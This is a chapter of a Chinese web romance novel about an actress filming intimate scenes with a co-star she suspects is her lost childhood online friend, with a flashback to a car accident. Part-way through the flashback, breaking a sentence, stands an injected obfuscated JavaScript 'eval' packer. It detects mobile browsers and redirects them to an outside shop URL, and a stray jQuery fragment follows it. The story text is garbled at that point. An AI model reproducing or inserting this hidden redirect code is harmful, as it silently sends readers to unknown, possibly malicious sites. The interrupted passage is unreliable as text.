裴近的声音低低传来:“欣欣……”
徐知逼迫自己冷静下来,而这也是罗欣欣的心理活动。她试图揣测罗欣欣的意思,带着另一份眼神看向裴近。
那份眼神里,有不忍、愧疚和些许的心动。
“卡!过。”
徐知松了口气,像兔子一样飞快地从他怀里跳出来。
裴近平常虽然开玩笑开得多,却毕竟年纪小,不免有些青涩,揉了揉粉红的鼻尖。
“哦呦。”
旁边工作人员收拾着下一场的道具,打趣:“你别说,我都有点磕你俩了。”
徐知更无措了。
还有......抱着睡觉亲吻。
裴近拦了下布置床的工作人员,看向王导,“导演,这场戏不如明天拍吧,先把其他的拍了。”
嗯?
所有人都愣了。
不远处的林雨欣挑挑眉,放下了手里正在修改的剧本,视线变得很沉。
她值得他这样对待吗?
徐知也看过来。
明明一整日都在室内度过,可徐知的身体却像跑了几十公里马拉松,迟迟缓不过来,通红的脸上带着一点茫然。
听到这句话,心口却像被轻轻捂了一下,紧张感一消而散。
王导也是意外,从没见过这种演员,但看到笃定的他,“行,先拍别的。”
这小子是怕徐知没准备好吧,也是,徐知今天的表现所有人都看在眼里,战战兢兢勉勉强强过了关。
“今天收工!”
“哦吼!好耶!”
回去的路上,徐知随口问,“裴近,你喜欢吃什么水果?”
这是徐知第一次问他喜欢吃什么。
“没什么特别喜欢的。”
“喜欢吃什么菜呢?”
“都可以。”
他在酒店经常做皮蛋瘦肉粥,还有糖醋排骨,这都是她喜欢吃的。
她之前不问就是因为裴近总是表现得对什么都不感兴趣。果然问了也是一样。
他大概没有什么喜欢的东西吧。
“今天谢谢你。”徐知说。
裴近没有说话,心情颇好地松开握着方向盘的右手,揉了揉她的脑袋,徐知顺着他的力道缩了一下脖子。
“对了,明天早上要给你买包子吗?”
回屋前,裴近突然问道。
徐知“啊”了一声,关掉哗哗流水的水龙头,拿着满是泡沫的碗扭过头来。
这个活是她从好助理手里抢过来的。
“你好像睡觉时总念着包子。”
“……可以啊,我想吃青菜包。”徐知笑笑。
……
“好。”
次日清晨,徐知收拾好两人的随身包,敲了敲裴近的门。
奇怪,他一直是早起的那一个。
-裴近:下楼吧。
微信响了一声,徐知才有些泄气地乘坐电梯下楼,出门就看到保姆车停在外面。
一上车就闻到了包子的香味。
“早。”
她把车窗打开,接过裴近递来的包子咬了一口,第一口咀嚼时就神情一顿。
“好吃吗?”见徐知没说话,裴近问。
徐知缓慢地点点头。
“听说是全上海最好吃的包子。”
“……”
徐知的心跳停了一刻,放下包子,看着面色如常的主驾驶上的人。
-包子:如果你下次来上海,我带你去吃包子。
-徐知:包子有什么特别的?
-包子:那可是全上海最好吃的包子!王记包子铺!我最喜欢青菜包和豆腐包。
“是王记。”
裴近轻轻拍了拍她的肩,一道淡淡的声音把她拉回现实。
“该下车了。”
“徐知裴近你们来了啊。”
“快收拾收拾吧,都布置好了。”
“今天可不要紧张啊,这房子就租了两天。”
徐知心乱如麻,只觉浑身是飘的,心神不宁地拿起剧本,坐在化妆台前。
没过一会儿,化妆师在她眼前打了个响指,一脸戏谑,“今天没睡醒呀,化好半天了。”
“哦哦,好的。”
化妆师戏谑的神情不减。
注意到她的表情,哦还有旁边刘音的表情,徐知才反应过来今天要拍什么戏。
呼。徐知长舒一口气。
来吧,早死早超生。
“各就各位啊,action!”
窗帘被拉得严严实实,刚好今天天气很沉,室内恍若黑夜,只开着一盏小夜灯。
按照剧本上的内容,两人躺在床上,临睡前袁立把她拥入怀中,亲了她一下,罗欣欣并没有拒绝,既然都结婚了,她也想试着接受他。
六月份了,虽然空调开着,但徐知还是有些燥热。她在他的怀中找不到呼吸的地方,一吸气,全是他的气息。
幸好灯光昏暗,不然徐知红到滴血的脸就要露于人前了。
裴近半搂住她,属于他的味道扑面而来,是冷冽的雪花味道,和他的柔和气质不同,那种冷是吸口气从鼻腔开始的冷,蔓延至全身。
他今天喷香水了么?徐知暗暗想着。
这个味道好像有些熟悉......
徐知不禁回想起他们第一次见面。
如此完美的人,刚好出现在她面前,刚好替她解决所有烦恼,鼓励她向前……是天注定么?老天爷什么时候待她这么好了。
有那么一个念头闪过,如果之前经历的一切都是为了遇见他,她会心存感激。
徐知闭着眼等待,睫毛轻轻颤动,她能察觉到眼前人流转的眼神,落在她的眼睛、鼻子、嘴巴,她的手忍不住扣住他的。
看不见的地方,裴近轻轻回握她的手,温柔又细心。
“ok!卡!”
“大家辛苦了!下一场准备!”
“刺啦”一声,窗帘被拉开,一道刺眼的白光照在她眼皮上,徐知顿时清醒过来,她睁开眼,白晃晃的一片空白让她恍惚不已。
白的像他们小县城里漫天飞舞的雪花。
徐知家其实很少下雪,毕竟是在南方,但初三那年冬天雪下得特别大,大到学校担心他们回家路滑,放走读生们早些放学,住校生则有机会在操场上打雪仗。
仅仅是看着嬉笑玩闹的同学们,徐知已经很开心了,尽管好多人不愿意和她一起玩。
奶奶早就在校门口等着,徐知跟着回了家。
她偷偷攥在手里一捧雪,直到化成水也不敢奶奶说自己也想玩雪仗。
徐知的家在城中村的一个角落,前面走的都是平路,此时则是混着泥土的雪地,但好在大面积的地面都没人走过,避免了她不久后要表演用的鞋子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517119|203112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
变脏。
还有五米要到家的时候,一道刺耳的刹车声和撞击声刺穿她的耳膜,她不由得心里一惊。
奶奶还在前头,她迅速走了一个过道循声望过去。
不远处马路上一辆小汽车停在路中间,前面躺着一个人,是一个小男生,看似和她同龄,穿着不属于他们这里的好看的校服,书包里的东西散落在周围。
丝丝雪花落下,安静地如同进入了另一个世界。
奇怪,明明隔得那么远,她仿佛听见了小男孩的呻吟声。
“奶奶,车撞人了......”
奶奶正拿着钥匙开门,铁门咣当一声,闻言瞥了她一眼。
“哎呦,这是怎么回事!”
“撞人了撞人了!”
“快打120!”
“天哪,这孩子哪来的,怎么这么小。”
“不关你的事。”
奶奶没有什么语气。
“上次还能考第一,这次就考第三,骄傲了?”
“我看你就是管的事太多,才没心思学习。”
奶奶又看了眼她穿着的舞鞋,蕾丝蝴蝶结缠绕着,很是好看。
“还是说把心思花在打扮上了?”
徐知垂头,有些不自在地挪了挪脚。
“这是过几天表演要穿的鞋。”
“我给你说过多少次了,不要像你妈一样。”
奶奶进了门。徐知又看着一堆人围在那里,打电话的打电话,司机也下来急得乱转,几个人挡着小男孩,一条线般的血迹滴在雪地上。
她上去也没有用吧。
当天她就梦到了这个男孩,也许她是帮不上什么忙,但他们年龄相仿,说不定她能帮他收拾一下稀碎的书,给他带美味的零食呢?
-徐知:我今天看到车祸了,但我没有上前。
包子没有回复。
他们也是从那一天之后断联的,她知道包子嘴硬心软,是她认识的人里最善良的,所以他是不愿意再和袖手旁观的自己交朋友了吧。
……
裴近伸手,细心地挡住她眼前的强光,神情没有一丝异样,徐知回过神来。
“早死早超生”的戏没有来。
也许是导演觉得这戏不合适呢?临时删了?
她甩甩头起身,准备下一场戏。
“还好吗?”裴近问。
徐知点点头,视线触及不远处的刘音,却见她脸色有些难以启齿。
?
徐知一脸询问。
刘音忙看向别处去了。
结束了一天的拍摄,徐知去了趟卫生间,出来洗手时听见了隔间的嬉笑声,她无甚在意。可接下来的话,却如同一盆冷水泼在她的头顶,让她顿时清醒过来。
像辛德瑞拉被拽下了南瓜马车,被狠狠踩到泥地里。
“裴近这么做也对哦,这是他的处女作,但毕竟不是男主角,荧幕初吻放在这儿确实有点可惜。”
有人嗤笑:“我还以为他喜欢徐知,原来不是啊哈哈哈。”
“真的是囧死了啦,他一本正经跟王导说删吻戏的时候,王导都懵逼了,你不知道有多好笑!”
第三个人突然插进话来,“喂,你们有看到徐知的表情吗?她闭着眼紧张的样子真的是哈哈哈哈。”
水龙头的水流砸在石壁上,没有清脆的回响,只有沉下去的“扑扑”声。